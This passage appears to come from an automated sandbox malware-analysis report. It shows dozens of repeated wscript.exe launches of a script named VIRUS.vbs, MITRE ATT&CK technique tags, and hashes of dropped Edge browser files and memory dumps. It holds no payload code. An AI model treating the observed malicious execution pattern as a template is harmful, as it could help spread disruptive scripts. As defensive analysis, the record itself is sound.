  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 250
  2⤵
  PID:12560
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 251
  2⤵
  PID:12596
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 252
  2⤵
  PID:12636
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 253
  2⤵
  PID:12664
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 254
  2⤵
  PID:12700
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 255
  2⤵
  PID:12728
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 256
  2⤵
  PID:12776
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 257
  2⤵
  PID:12840
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 258
  2⤵
  PID:12876
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 259
  2⤵
  PID:12900
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 260
  2⤵
  PID:12936
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 261
  2⤵
  PID:12976
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 262
  2⤵
  PID:13000
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 263
  2⤵
  PID:13120
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 264
  2⤵
  PID:13164
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 265
  2⤵
  PID:13212
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 266
  2⤵
  PID:13264
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 267
  2⤵
  PID:13292
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 268
  2⤵
  PID:4308
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 269
  2⤵
  PID:2316
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 270
  2⤵
  PID:12380
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 271
  2⤵
  PID:12644
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 272
  2⤵
  PID:12884
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 273
  2⤵
  PID:12984
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 274
  2⤵
  PID:13080
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 275
  2⤵
  PID:13108
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 276
  2⤵
  PID:13240
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 277
  2⤵
  PID:13304
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 278
  2⤵
  PID:13316
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 279
  2⤵
  PID:13352
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 280
  2⤵
  PID:13400
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 281
  2⤵
  PID:13480
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 282
  2⤵
  PID:13508
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 283
  2⤵
  PID:13540
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 284
  2⤵
  PID:13600
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 285
  2⤵
  PID:13624
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 286
  2⤵
  PID:13660
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 287
  2⤵
  PID:13692
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 288
  2⤵
  PID:13732
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 289
  2⤵
  PID:13780
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 290
  2⤵
  PID:13804
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 291
  2⤵
  PID:13840
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 292
  2⤵
  PID:13884
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 293
  2⤵
  PID:13912
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 294
  2⤵
  PID:13964

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7173f2853e3b591f142ed047bb6a2ea62d5d817f9016fdd31efbebd88f820e91
MD5 9093390d9e798f9a4ccc25251c10fea5
SHA1 96837bd82509feb4ca69a53466162950148f0394
SHA512 4db01b0d83eba59662ef7f147a96bb0034c92f2c5d5ac83ceeae12ddc800fe8dbce64d41320c2a3031796e981edc605460e3a1da207a6a9d39812740085a86ef
TLSH
T1A7D0801412F17C64C6E65975484577153D1DD4E346C3537325A3267C4C471C81C953C7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 eacd218daf22fcefbc23ae70ce919d8ac95b89c3f7d038f647296c47a218fc46
MD5 35b0754e7f5b0bef0f59e6474c3c9e30
SHA1 a5dbcd61883043544b184e46e47beb3bf5d259a8
SHA512 0a14f00d3bf385bd104004e3adb021fc5b135483b30669a0f446d235f67bf00d734e76a56ac18adc3d6765163a992c78b2c6833f0e764506a9c06ff2ad8fc90e
TLSH
T1ECD0801452F17C64C2E65975484677153D1DD4E346C3537225A3267C4C461881C953C7
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 da7446c159117e6b395456c20a02320bec41bfb62154dea27d1c0b30c53a3c6a
MD5 2903a6c46297c61a9428e8991b9e4372
SHA1 5b4a53e222bf16ce674cdc3c7262ebf204f79a21
SHA512 2155e4c09d5563dbeca8e305e11c6342e6b0494bfb255a005b0c011ed759309b4f7e38a59cd372e738765e73ab2f8126efff1f770a6a02e9e4bf18537b01742f
SSDEEP 192:zZoR+yM//K1Ml8McR/flsVdqXXnEdpz+Wk/W6+WNnCofBSDAMFXsuFAbIgWJ:zZoY0R/flsVdyXka/bpfCcW8i
TLSH
T1BB52E9536A385977CDC7D219F951BB5BD2F9442296D00E84DAFCCA1C00E6AED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 589134d4d2bcb0255795f369a4f8c033bdc4b56f2bf6c1511781c53f1113d602
MD5 2b84a32cf035ded4e4476c5510d2b74f
SHA1 5c89bdbff224b386e50922cfc6241e42e90b44df
SHA512 3449ea2bf3921c934db3f7009a09db272fd83f54585e8c86827e82ca4209bf794a4e192f7be2ecda29c85c713732ce69c72cea00bf4efb865e7d9601bf8e7c1d
SSDEEP 192:zZoR+yM//K1Ml8McR/flscdqXXnEdpz+Wk/W6+WNnCofBSDAMFXsuFAbIg5eJ:zZoY0R/flscdyXka/bpfCcW8k
TLSH
T17762E953AA385977CDD7D229F951BB5BD2F9446292D00E84DEFC8A1C00E6BED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 31KB
SHA256 bac411835a4e86627a1274703c20c2a2c0a4e02959f2770b6ddeebfebb24c456
MD5 b2b24ae0b553cf5a4c96cb4f8b09d217
SHA1 da20559b66d38e2cb4e8151af2d82d56144ba10a
SHA512 4f45edbb49015fffdc42d6f1f1c7271eb20447a50009f44c95aa817269ee645137a3fe1065ad17a4a603276e02150cf41d159191810ec2956fcb19b0185d5f86
SSDEEP 768:FwTTF8J52+wWRmY4QPU8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3ZfLl/se0xjLroEO:FwTTF8J52+wWRmY4QPUu1jaKZfLpsnxU
TLSH
T18BE20B3F280CC77E4F844E5CEC26AF966ED801CB96688D9447FA494C03C67EB951A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 240be74cb801a2bc1e19b0919bb3fa3b6c0da7ba11ab067fdd36cd99867b8992
MD5 63c6c1164a6f384ce5c79931b2bb1515
SHA1 49c7a846bafb1037c66f9bd24fb93d14646cb143
SHA512 80d6d244fa2a9cd34eabb61a78c242aea20c967c350749c4a45b42f087c018d354fd0f7baead96d33708e253f8a8d23fc55ac35cfede3ddf378cca434544e2f7
SSDEEP 768:FzTTF8J52+wWRmY4QPU8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3+fLl/se0xjLroev:FzTTF8J52+wWRmY4QPUu1jaK+fLpsnxT
TLSH
T16DE21B3F280CC77E4F844E5CEC26AF966ED801CB96688D9447EA494C03C67EB511B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\334db481-63d4-49c2-ba60-cae31d44cd18\index-dir\the-real-index
Size 2KB
SHA256 de2d847afc8d593a02ddd91698b8a8fbfd16115903c38f19dfc1ddf338213467
MD5 f703ac448ac5fda8d8626ff5b58bd089
SHA1 23e42896080b75bc14b1fc609920982d2ce29bec
SHA512 33acee2d790696f0b81bab8a12da54bafd28f197230bcd6350992b079dcebe831d06c0ad4f9fef278c5c133662a8fe537da9170b9bba36aa083367826f25a81e
TLSH
T16451628CC9C097EEDCB552FE2C5425B297B02C24FC59C3A19468F1A67453A6817476FC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe589c6a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\334db481-63d4-49c2-ba60-cae31d44cd18\index-dir\the-real-index~RFe589c6a.TMP
Size 48B
SHA256 8a0f6804a4e0bd6b26658063408f6d00cebc9a90bc934db954c9ae1d5971a15b
MD5 cad13638bf422b98ab50e2a275951fe7
SHA1 48a4b883525bf86d93c7f10a6b1c954be41467d3
SHA512 8f56af9f581b185563bd2bd49eef22e5585394d891967c7a0723bb0c0940a2c0070bb277145c9e541831ca872f04b3d1db17a491e549b09cd39c95730f9a49dd
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 214B
SHA256 8cfc24431f7bb7d1456ed63a6eaf5148fb74f1676a2fbcf16ee99575ca859019
MD5 2e3a11df2723ebee4aa1590a3ed1384a
SHA1 940917c24326d2f5fd741c2d4273fa74fb864fd0
SHA512 d979b69ca90106e21e56fc176dc5de30363bcc3b74a13ec01a4a17420406e221eebe69553d382d5d5e4735fd8b59c15a57847f9f73244afec0b409a04bbc19d6
TLSH
T192D022FE92318A872B30DFC9723C100DC02E8C85AC80CCA8B86CB48278FC103C103478
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 130B
SHA256 a284e4817941df1e9e799e7c7a387edcbd6aa4173c07cb9a92f29c0221ee0aa3
MD5 4a91b8bb003a999d0c2c92bf6f942277
SHA1 8b77d06b1c0a4e9f2170226124acf28adf43b36c
SHA512 c893db88fde098153c2f875da18cf7dc0265cfbc18ab672375d3ddca5f3a53f0ef8b85ccec7106a5b51fda4605768c88764d5cf5d4524427f45b4ab3befef8b3
TLSH
T1C7C09BF7451045874B74DFD5213C621DD50FC54895D0CCF8F01C5042347C513C401525
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 132B
SHA256 80490d11c78de467d6b2465304bf7ea81e5d641d20be919c80a0d3f62f792229
MD5 34042769f968d00bc5e13ae8e9349765
SHA1 369dd95140ca19011565dd04e07751c35130e61a
SHA512 081f73f19da9990dcc65cfccc526365821000bf4e50389641ec608eae52a9c3f9f4d92fbb1404817394515cc37bdb2e30cf7f917e5b2012a5ea6b144f1becd6a
TLSH
T1ACC092F7492146878A70EBDA213C626DD60FC588A9E8DCF8F42C908275ACA23C842925
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe584513.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe584513.TMP
Size 137B
SHA256 07503e51041914a7923cfae2c9baf8a72d5c9bc62bbff3ab3d5eb26d68380818
MD5 b8fbf726a6f328ec6b358cc62f93725b
SHA1 d04b37e3170ecaf9928fc93d6f93535421fa6f2b
SHA512 4f0abfa3e2e9dcd4bc9975ea0a7acc2444d31c7b640156f8e54f08f601b2d4a8ff92c4db2ffdc5192707b3162caf08c57f4f3e340cb23dfb7d6243a7b814a7d7
TLSH
T110C092F3492046874B71EAD7623C625DD61FCD8DA9C0CCF8F02EB08230BC923C901925
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 09e348462fa78dc548ee112c5cfe8017936a454ccb2be6071eb6cb675a0a7750
MD5 604ad9e54cdcdc39fb41dc6aaa778497
SHA1 00991a004392a74b89a4d1685e1408fcfe5757f5
SHA512 3a0c0d3110936c158482857dcdc18ae7d55cb34d0edb5829df308b1e1bb66bc28073f3db33f6ac5a01d10709e9c46da5426f28a9de5d847f035f2651d2646b86
TLSH
T130A00252826C5045C41813F5E05945C4F6108C55558132B284E9005AE8D11708553044
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 48B
SHA256 4e722840654bab55230d25dedb1af1b263c3b77394df78496753770fcfb2e7d0
MD5 5d00df74b3843a6928ed6592f47b57be
SHA1 b6dfef8b2390b43256956338cd77173aeb58b46a
SHA512 c7f8f26439b82ee063d244ce68e0c6484307200708af947524874396f2ee83fa444497aa12096fed77c107c7dbc097085cbda5590f90aa35ca50ae6f88a01ccb
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 7eed1625522fa25ce53216a53f9ba509c9f0b52eec3c399bb03b369f73465f28
MD5 f60035f1a8c877061224d0d490bb16e3
SHA1 3cc11f39569c60adc5cbe32d9cc6c43cd96441f2
SHA512 0a93054ecd560dd35bf66aa100cf02eeefc7e4ead6b5a63078530a80f277be797620e7f92c82cb129cb0376f842b18c8eb3215c3dbe8398e3514f9b54181f34b
SSDEEP 192:lGNt6IMGEQmiUybTC6xc/TaJRWSep2DfU6:lGNt6GUEW6xc/TOccU6
TLSH
T113020A3478787CB79EE3AE55B48777235F94206BE6A52F88C9E81B1D01DB65C1307822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 6d25b420dc89e401ef93cdaffff56934731d04badb75a1c2bdfcd1b003dc68b3
MD5 ab8a00391ed9f478f4fe4e39a300300e
SHA1 7a523607c193f6dbee90de01425c1d1e192c4042
SHA512 f217bff0f2d071c68a3472e8a5848d7ee7403a5d4d3b814f201791395c20258f170747d144924d1917913da63930dbc37c7e47b9ff89a7b34682206e4d366c4e
SSDEEP 192:zt+U8NIMN+Qh9pHMGlE5QmiU1FBPN8Ukc/TaJRpuYnS6Dfqe6rhrn:zB8NIMN++pZlejRNHkc/TOPj0F
TLSH
T1B242493178B9AC375CF7A455F08733639FB424B79B841F98E9D81B0D00CA2D8270B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 9KB
SHA256 d4e7b973c5b9d1837bff8ddea6b8abae2b28967a85248538c024394594ee912a
MD5 9fe07e3e0cd99a87b3a152ce0c067c38
SHA1 01385cf0670707f0f5603f0118110ba8870f51ba
SHA512 c2c3a1929a16975d3110631ca4cfc315cb94bf44403035935455ca7e513390277182ec8f622ecf6a2bc6479bb697aaa95c712b9076b7285ac16655e08e476423
SSDEEP 192:zfGNI1IMGlEbQmiU1qpPzZkc/TaJRpuYnS6Dfqe6U9:zfGNI1GlCoZ9kc/TOPD0U9
TLSH
T116223A3078BDAC775DE3B554F08737639EA42077AE846F99D9D81B1C00DB698270B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 277278ceb845e64f61afbb4217eb9de97bb01f586a343c6ba80ed21050320ef8
MD5 e41973eeee09f4602dc606d2ec294f1e
SHA1 a648a36933cfe6690227ded84cf2feb21e93c079
SHA512 e9afac13c59188337f61a3c21d8f5e7caf73b3e34e6f11ece3012e3927d9c06caa5901bb165e8c5dab4af8403a62b310b510a1d0ced84052306453df0a7f5aa7
SSDEEP 192:UGNB6IMGmQmiUyEyCsxc/TaJRpuYnS66fqe6U6:UGNB6GCj/sxc/TOP60U6
TLSH
T197124A7078B8EC7B5DE3B460F0873363AEA42177AF856F95D5D81B1C04DA698270B822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4f216675-5a1b-4e78-927e-b64a00c310aa.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\4f216675-5a1b-4e78-927e-b64a00c310aa.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

memory/652-396-0x0000028C39A50000-0x0000028C39A5C000-memory.dmp

Download

memory/1456-400-0x0000023BEDC60000-0x0000023BEDC6C000-memory.dmp

Download

memory/1612-404-0x0000029941080000-0x000002994108C000-memory.dmp

Download

memory/1652-405-0x0000016B4E980000-0x0000016B4E98C000-memory.dmp

Download

memory/2492-402-0x000002177A9B0000-0x000002177A9BC000-memory.dmp

Download

memory/3232-308-0x000001DBCB290000-0x000001DBCB29C000-memory.dmp

Download

memory/3752-399-0x000001C9AA660000-0x000001C9AA66C000-memory.dmp

Download

memory/4032-397-0x00000219E00B0000-0x00000219E00BC000-memory.dmp

Download

memory/4336-395-0x0000025CF0E80000-0x0000025CF0E8C000-memory.dmp

Download

memory/5016-401-0x000001DD737A0000-0x000001DD737AC000-memory.dmp

Download

memory/5088-403-0x0000023CCE060000-0x0000023CCE06C000-memory.dmp

Download

memory/5100-398-0x000001BD4E6C0000-0x000001BD4E6CC000-memory.dmp

Download

memory/5148-406-0x00000220E4CD0000-0x00000220E4CDC000-memory.dmp

Download

memory/5188-407-0x00000262521F0000-0x00000262521FC000-memory.dmp

Download

memory/5216-408-0x000001A2D10B0000-0x000001A2D10BC000-memory.dmp

Download

memory/5256-409-0x00000135D4A60000-0x00000135D4A6C000-memory.dmp

Download

memory/5296-410-0x000001D4DF130000-0x000001D4DF13C000-memory.dmp

Download

memory/5328-428-0x000001DAA4FE0000-0x000001DAA4FEC000-memory.dmp

Download

memory/5364-447-0x0000026933F90000-0x0000026933F9C000-memory.dmp

Download

memory/5588-467-0x000001E3178D0000-0x000001E3178DC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads